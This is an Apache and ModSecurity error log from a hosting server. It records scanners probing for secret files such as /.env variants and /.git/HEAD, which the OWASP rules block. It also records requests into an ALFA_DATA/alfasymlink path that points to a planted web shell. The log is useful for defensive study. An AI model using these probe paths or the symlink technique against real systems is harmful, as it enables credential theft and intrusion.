[Sun Oct 25 04:39:48.643000 2026] [security2:error] [pid 2799887:tid 2799887] [client 213.199.47.140:39184] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3AVCN-ltTTMQ3YT9YeowAAAAI"]
[Sun Oct 25 04:39:48.643267 2026] [security2:error] [pid 2799887:tid 2799887] [client 213.199.47.140:39184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3AVCN-ltTTMQ3YT9YeowAAAAI"]
[Sun Oct 25 04:39:48.643559 2026] [security2:error] [pid 2799887:tid 2799887] [client 213.199.47.140:39184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3AVCN-ltTTMQ3YT9YeowAAAAI"]
[Sun Oct 25 04:39:50.238615 2026] [ssl:error] [pid 2799891:tid 2799891] (70014)End of file found: [client 34.231.118.144:13971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:39:58.362683 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.89.176.255:6189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:40:02.136073 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 23.23.180.225:4996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:40:06.125127 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 34.236.41.241:51252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:40:30.266865 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.90.73.206:39031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:40:42.214742 2026] [ssl:error] [pid 2799892:tid 2799892] (5)Input/output error: [client 54.163.136.244:17383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:40:46.241461 2026] [ssl:error] [pid 2799889:tid 2799889] (70014)End of file found: [client 54.92.171.106:29071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:41:02.230732 2026] [ssl:error] [pid 2799887:tid 2799887] (70014)End of file found: [client 184.73.195.18:14512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:41:10.128432 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.4.76.156:6098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:41:18.126054 2026] [ssl:error] [pid 2799887:tid 2799887] (70014)End of file found: [client 34.197.28.78:28894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:41:22.127914 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 3.210.114.189:14370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Sun Oct 25 04:41:26.177746 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.209.100.30:14696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:41:30.119060 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.0.105.244:44671] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:41:46.116184 2026] [ssl:error] [pid 2799889:tid 2799889] (70014)End of file found: [client 54.89.90.224:41303] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:42:00.072068 2026] [ssl:error] [pid 2800177:tid 2800177] (70014)End of file found: [client 85.208.96.207:13854] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:42:06.185421 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 34.235.239.240:43880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/serial/uevent
[Sun Oct 25 04:42:23.810799 2026] [security2:error] [pid 2799890:tid 2799890] [client 43.165.125.66:45986] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "at3A72ChNy-R5DAZy2u79QAAAA0"]
[Sun Oct 25 04:42:26.182787 2026] [core:error] [pid 2800177:tid 2800177] (13)Permission denied: [client 98.83.10.183:16910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/slots/28/module/uevent
[Sun Oct 25 04:42:34.124201 2026] [ssl:error] [pid 2799889:tid 2799889] (70014)End of file found: [client 44.209.89.189:33374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:42:36.403777 2026] [core:crit] [pid 2799891:tid 2799891] (13)Permission denied: [client 167.71.175.236:47464] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:42:36.414350 2026] [core:crit] [pid 2799890:tid 2799890] (13)Permission denied: [client 167.71.175.236:58834] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:42:36.426987 2026] [core:crit] [pid 2800177:tid 2800177] (13)Permission denied: [client 167.71.175.236:47470] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:42:36.523020 2026] [core:crit] [pid 2799888:tid 2799888] (13)Permission denied: [client 206.81.24.227:42024] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:42:36.735622 2026] [core:crit] [pid 2799889:tid 2799889] (13)Permission denied: [client 206.81.24.227:42038] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:42:36.993008 2026] [core:crit] [pid 2800173:tid 2800173] (13)Permission denied: [client 64.225.75.246:53552] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:42:37.130045 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3A_eqg3wvAvSM2DxfLGAAAAAQ"]
[Sun Oct 25 04:42:37.130390 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3A_eqg3wvAvSM2DxfLGAAAAAQ"]
[Sun Oct 25 04:42:37.130969 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3A_eqg3wvAvSM2DxfLGAAAAAQ"]
[Sun Oct 25 04:42:37.408028 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3A_WChNy-R5DAZy2u79wAAAA0"]
[Sun Oct 25 04:42:37.408344 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3A_WChNy-R5DAZy2u79wAAAA0"]
[Sun Oct 25 04:42:37.408656 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3A_WChNy-R5DAZy2u79wAAAA0"]
[Sun Oct 25 04:42:37.543533 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3A_eqg3wvAvSM2DxfLGQAAAAQ"]
[Sun Oct 25 04:42:37.543793 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3A_eqg3wvAvSM2DxfLGQAAAAQ"]
[Sun Oct 25 04:42:37.544078 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3A_eqg3wvAvSM2DxfLGQAAAAQ"]
[Sun Oct 25 04:42:37.981634 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3A_WChNy-R5DAZy2u7-AAAAA0"]
[Sun Oct 25 04:42:37.981915 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3A_WChNy-R5DAZy2u7-AAAAA0"]
[Sun Oct 25 04:42:37.982258 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3A_WChNy-R5DAZy2u7-AAAAA0"]
[Sun Oct 25 04:42:38.252118 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3A_uqg3wvAvSM2DxfLGgAAAAQ"]
[Sun Oct 25 04:42:38.252370 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3A_uqg3wvAvSM2DxfLGgAAAAQ"]
[Sun Oct 25 04:42:38.252724 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3A_uqg3wvAvSM2DxfLGgAAAAQ"]
[Sun Oct 25 04:42:38.626452 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3A_mChNy-R5DAZy2u7-QAAAA0"]
[Sun Oct 25 04:42:38.626725 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3A_mChNy-R5DAZy2u7-QAAAA0"]
[Sun Oct 25 04:42:38.627055 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3A_mChNy-R5DAZy2u7-QAAAA0"]
[Sun Oct 25 04:42:39.013349 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3A_-qg3wvAvSM2DxfLGwAAAAQ"]
[Sun Oct 25 04:42:39.013653 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3A_-qg3wvAvSM2DxfLGwAAAAQ"]
[Sun Oct 25 04:42:39.013945 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3A_-qg3wvAvSM2DxfLGwAAAAQ"]
[Sun Oct 25 04:42:39.311767 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3A_2ChNy-R5DAZy2u7-gAAAA0"]
[Sun Oct 25 04:42:39.311985 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3A_2ChNy-R5DAZy2u7-gAAAA0"]
[Sun Oct 25 04:42:39.312299 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.117:12484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3A_2ChNy-R5DAZy2u7-gAAAA0"]
[Sun Oct 25 04:42:39.389008 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3A_-qg3wvAvSM2DxfLHAAAAAQ"]
[Sun Oct 25 04:42:39.389243 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3A_-qg3wvAvSM2DxfLHAAAAAQ"]
[Sun Oct 25 04:42:39.389486 2026] [security2:error] [pid 2800080:tid 2800080] [client 130.12.180.117:12482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3A_-qg3wvAvSM2DxfLHAAAAAQ"]
